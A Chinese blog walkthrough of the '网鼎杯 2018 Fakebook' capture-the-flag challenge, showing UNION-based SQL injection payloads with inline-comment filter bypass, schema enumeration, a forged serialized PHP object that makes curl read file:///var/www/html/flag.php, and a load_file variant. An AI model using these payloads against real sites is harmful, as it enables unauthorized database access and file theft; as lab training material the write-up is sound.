您现在的位置是:首页 >技术教程 >[网鼎杯 2018]Fakebook网站首页技术教程

[网鼎杯 2018]Fakebook

hercu1iz 2023-05-16 14:33:33
简介[网鼎杯 2018]Fakebook

1,网页访问内容
在这里插入图片描述2,join功能
在这里插入图片描述创建账号:

admin
admin
1
www.baidu.com

自动跳转:
在这里插入图片描述点击admin跳转如下url界面:

http://74466596-caeb-46dd-b8ee-67533ac38290.node4.buuoj.cn:81/view.php?no=1

在这里插入图片描述查看源码:
在这里插入图片描述这里使用了伪协议获取数据。
收集信息:可通过伪协议读数据

2,观察url特征,尝试sqli
在这里插入图片描述
出现报错,大概率存在sqli,但感觉得绕过,先做个目录扫描多收集点信息。
收集信息:web目录路径
3,robots.txt文件发现信息
在这里插入图片描述直接可以把user.php.bak下载下来,内容如下:
直接审计一波

<?php
//一个UserInfo类
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

	//读取用户信息
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        //检测了blog源码src处,无法利用data协议读取数据
        return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
    }

}

sqli

1,继续尝试sqli
经过测试,这里是数字型sqli
使用order by测试,这里是4

/view.php?no=1%20order%20by%204

注意:这里逻辑得no=1正确,后面才能使用orderby;不能使用no=0错误逻辑拼接order by

2,测试回显位置

/view.php?no=0%20union%20select%201,2,3,4

在这里插入图片描述做了关键词校验。
思路:可以用burp爆破一遍确认未过滤的关键字。

3,这里使用内敛注释尝试绕过

/view.php?no=1%20/*!%20union*/%20select%201,2,3,4%20limit%201,1

在这里插入图片描述收集信息:
1、反序列化!!
2、回显的是2

4,查库

view.php?no=0/*!%20union*/%20select%201,database(),3,4#

在这里插入图片描述5,查表

view.php?no=0/*!%20union*/%20select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=%27fakebook%27#

在这里插入图片描述6,查字段

view.php?no=0/*!%20union*/%20select%201,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook'#

在这里插入图片描述可疑字段data
7,查看data数据

view.php?no=0/*!%20union*/%20select%201,group_concat(data),3,4 from users#

在这里插入图片描述
序列化数据!!

是序列化后的UserInfo对象,下意识想起之前那份备份文件也定义的类为UserInfo,最开始时的用户界面为no=1时,靶场根据users表查询no=1进行渲染的页面。可以猜测,和数据库表中的字段no,username,passwd,data顺序相似,第四个字段应该就是data。思考一下,一共有4个字段,select的时候如果将第四个字段插入data序列化后的内容,是否就回显了我们注册的admin用户和他的blog呢?

构造传参:

1 and 0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:20:"http://www.baidu.com";}' from users#

在这里插入图片描述果然返还了,如果在里面稍微修改一下序列化内容会怎么样?将我们的blog改为读取flag:

view.php?no=0/*!%20union*/%20select%201,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:100;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

在这里插入图片描述
查看源码:
在这里插入图片描述解一下base64即得flag。

扩展思路1-利用load_file函数读取flag

mysql中的load_file函数,允许访问系统内任意文件并将内容以字符串形式返回,不过需要高权限,且函数参数要求文件的绝对路径,绝对路径猜测是/var/www/html/flag.php

sqli:

0 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#  

查看源码,成功读取flag
在这里插入图片描述
完。
参考:https://blog.csdn.net/qq_58784379/article/details/120548225

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。